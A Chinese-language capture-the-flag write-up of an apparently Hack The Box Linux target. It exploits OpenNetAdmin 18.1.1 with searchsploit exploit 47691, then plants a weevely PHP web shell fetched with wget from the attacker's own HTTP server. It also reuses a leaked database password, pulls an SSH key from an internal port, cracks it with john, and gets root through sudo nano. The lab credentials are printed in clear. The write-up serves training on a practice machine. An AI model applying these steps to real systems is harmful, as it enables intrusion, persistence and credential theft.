0x00 目标
Kali: 10.10.16.242
靶机地址:10.10.10.171
目标:user blood and root blood
0x01 信息收集
端口:
使用nmap对目标进行端口扫描:
开放端口:22、80
说明开放ssh和web。
常规渗透通常从web先入手。
尝试访问http://10.10.10.171:80,初始页面显示apache,暂无用处。
web目录:
尝试爆破web目录,使用DirBuster。
存在目录:
```
/icons
403
/artwork
一些普通页面
/music
一些普通页面,加上 login(ona)
/ona opennetadmin 主机管理系统
```
从而知道了web搭建了OpenNetAdmin主机管理系统。
0x02 渗透过程
webshell:
由http://10.10.10.171/ona/ 看到版本号为v18.1.1。
到这里可以尝试登陆看看有没有弱口令。
但是国外的靶机不太清楚opennetadmin具体能做什么。
所以由已知的OpenNetAdmin可以用searchsploit或者msf来找exp。
尝试用msf没有找到对应的exp。
用searchsploit找到了远程命令执行。
searchsploit opennetadmin
可以直接拿出来用:
```
searchsploit -m 47691
将该exp文件拿到到当前目录
vim 47691.sh
```
exp设置好登陆的url就可以直接打了。
莫名原因exp不能直接用报错,拿出来修改到另一个.sh文件
里可以执行命令了。
到此拿到了为www-data的权限。
这里用weevely先做下权限维持。生成了一个cmd.php的一句话通过wget放到web根目录。
```
weevely generate xxx cmd.php
生成password为xxx的一句话
python3 -m http.server
搭建临时http服务器传输文件,默认端口8000
wget http://10.10.16.242:8000/cmd.php
```
提升权限:
现在已经有了webshell,但是权限是www-data,想要获得更高的权限需要进行其他尝试。
尝试用cat /etc/passwd
读到两个存在的低权限用户名:
jimmy
joanna
尝试去找数据库的密码,最终在/opt/ona/www/local/config/database_settings.inc.php
找到数据库账号密码:
ona_sys
n1nj4W4rri0R!
尝试登陆数据库失败。
jimmy用户:
想到还有个22端口,于是尝试拿数据库密码跑下两个账号。没想到jimmy账号登录进去了。
但是在她的home目录下没有找到user.txt。猜测是在joanna下面,但是没有权限进。
找到了/var/www/
目录下,发现有几个目录,猜测这个是多站点,但是有的目录没有访问权限。
/var/www/internal
目录下的几个文件倒是有权限访问。可以看下具体是什么功能的php脚本。
首先看到index.php,这个登录验证直接告诉了我们账号密码是什么。继续扩大密码池。再跑遍joanna看能不能直接直接登录上去,未果。
jimmy
Revealed
再看下main.php。找到有用的了,看代码可以看到通过cat /home/joanna/.ssh/id_rsa
获取joanna用户的密钥。现在需要想把运行这个main.php。
尝试php main.php
发现权限不足。
还有一个x.php,尝试php main.php
发现也是权限不足。
并提示了一段文字。
没搞懂什么意思。。。
<pre></pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a>Session
</html>
joanna用户:
整理下思路,现在查看这个目录也有几个php文件,并且可能通过他得到joanna用户的密钥,我们就可以获得flag,还有用户权限。
我们知道之前webshell的根目录是/opt/ona/www
,而这个目录的路径是/var/www/internal
。可能存在多个站点。
多个站点肯定对应不同的端口,所以这里我查了下端口。
netstat -aptn
看到本地开放了
3306、52846
二其他的端口可以直接访问到,这两个端口只能在当前内网状态才能访问。
又想到curl可以直接在命令行下请求url页面。我们可以不尝试流量代理到本地,直接用curl看看有没有回显。
果不其然,得到了joanna的密钥,尝试另一个x.php获取不到root.txt,只能接下来看看怎么搞了。
通过命令密钥ssh连接:
chmod 600 is_rsa
ssh -i is_rsa [email protected]
还是需要密码。。。有点无语。
那么可以尝试破解密钥,破解密钥可以用john,转换john的格式,然后再爆破:
```
python /usr/share/john/ssh2john.py is_rsa > ssh_is_rsa
这里可以用kali自带的rock字典
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_is_rsa
```
获得到密码,原来那个ninja
还真是个提示:
bloodninjas
至此登录上joanna用户并且获取到一个flag。
提权读root.txt
最后就剩下一个root.txt获取最后一个flag并且提权,看说明那应该就是需要有root权限去读文件。
这里直接用sudo拿下了,原理就是sudo配置运行的部分命令可以不用密码验证。
通过sudo -l
查看允许的命令。
nano是一款编辑器,这里我们可以直接通过读取/root/root.txt
。
nano的用法:
ctrl+R:从其他档案读入资料,可以将某个档案的内容贴在本档案中
```
sudo /bin/nano /opt/priv
ctrl + r
/root/root.txt
```
到此拿到了所有的flag。并且获取到了几个用户的权限。
编辑器有sudo权限,那自然也可以读/etc/shadow
。
0x03 总结
简单总结下这次用到的一些手法和技巧。
1、信息收集-目录爆破。
2、信息收集-端口扫描。
3、漏洞利用-历史漏洞。
4、权限维持-一句话木马。
5、信息收集-账号密码信息(数据库、web)。
6、爆破-滚密码。
7、信息收集-内网端口开放。
8、爆破-john密钥破解。
9、sudo提权(nano编辑器读取文件内容)。
在上一篇文章中,我们为读者详细介绍了Instagram应用代码执行漏洞有关的背景知识,以及通过模糊测试在Mozjpeg项目中发现的安全漏洞,在本文中,我们将为读者介绍wildcopy型漏洞的利用方法等精彩内容。 Wild Copy型漏洞的利用 要导致内存损坏,…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论